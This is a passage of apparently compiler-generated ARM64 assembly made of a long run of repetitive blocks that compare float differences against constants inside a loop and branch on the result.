Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-13.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_27 LBB1_27: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_28 LBB1_28: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #64] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-8.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_29 LBB1_29: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-15.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_35 b LBB1_30 LBB1_30: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-3.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_35 b LBB1_31 LBB1_31: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldr s0, [sp, #52] fcvt d0, s0 fmov d1, #-1.00000000 fmadd d0, d1, d0, d2 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_35 b LBB1_32 LBB1_32: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-13.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_35 b LBB1_33 LBB1_33: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_35 b LBB1_34 LBB1_34: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #64] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-8.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_35 LBB1_35: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_36 LBB1_36: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-13.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_37 LBB1_37: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_38 LBB1_38: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-5.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_39 LBB1_39: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_40 LBB1_40: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-7.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_41 LBB1_41: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_47 b LBB1_42 LBB1_42: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-13.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_47 b LBB1_43 LBB1_43: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_47 b LBB1_44 LBB1_44: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-5.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_47 b LBB1_45 LBB1_45: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_47 b LBB1_46 LBB1_46: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldur s0, [x29, #-12] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-7.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_47 LBB1_47: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-13.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_48 LBB1_48: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_49 LBB1_49: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_50 LBB1_50: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-7.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_51 LBB1_51: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-8.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_52 LBB1_52: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-8] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-7.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_53 LBB1_53: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-13.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_59 b LBB1_54 LBB1_54: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_59 b LBB1_55 LBB1_55: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_59 b LBB1_56 LBB1_56: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-7.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_59 b LBB1_57 LBB1_57: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-8.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_59 b LBB1_58 LBB1_58: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-8] fcvt d2, s0 ldur s0, [x29, #-60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-7.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_59 LBB1_59: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_60 LBB1_60: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldr s0, [sp, #76] fcvt d0, s0 fmov d1, #-1.00000000 fmadd d0, d1, d0, d2 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_61 LBB1_61: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_62 LBB1_62: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-4.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_63 LBB1_63: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-4.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_64 LBB1_64: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_65 LBB1_65: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_71 b LBB1_66 LBB1_66: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldr s0, [sp, #76] fcvt d0, s0 fmov d1, #-1.00000000 fmadd d0, d1, d0, d2 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_71 b LBB1_67 LBB1_67: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_71 b LBB1_68 LBB1_68: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-4.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_71 b LBB1_69 LBB1_69: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-4.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_71 b LBB1_70 LBB1_70: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_71 LBB1_71: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-9.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_72 LBB1_72: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-18.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_73 LBB1_73: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_74 LBB1_74: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_75 LBB1_75: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-7.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_76 LBB1_76: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-8] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-19.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_77 LBB1_77: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-9.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_83 b LBB1_78 LBB1_78: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-18.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_83 b LBB1_79 LBB1_79: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_83 b LBB1_80 LBB1_80: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_83 b LBB1_81 LBB1_81: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-7.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_83 b LBB1_82 LBB1_82: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-8] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-19.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_83 LBB1_83: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_84 LBB1_84: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-3.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_85 LBB1_85: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_86 LBB1_86: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_87 LBB1_87: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-2.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_88 LBB1_88: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_89 LBB1_89: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_95 b LBB1_90 LBB1_90: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-3.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_95 b LBB1_91 LBB1_91: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_95 b LBB1_92 LBB1_92: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_95 b LBB1_93 LBB1_93: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-2.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_95 b LBB1_94 LBB1_94: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldr s0, [sp, #44] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_95 LBB1_95: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-13.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_96 LBB1_96: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_97 LBB1_97: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-9.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_98 LBB1_98: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_99 LBB1_99: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-19.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_100 LBB1_100: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-16.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_101 LBB1_101: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-13.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_107 b LBB1_102 LBB1_102: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_107 b LBB1_103 LBB1_103: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-9.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_107 b LBB1_104 LBB1_104: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_107 b LBB1_105 LBB1_105: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-19.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_107 b LBB1_106 LBB1_106: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldr s0, [sp, #68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-16.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_107 LBB1_107: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-18.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_108 LBB1_108: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_109 LBB1_109: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 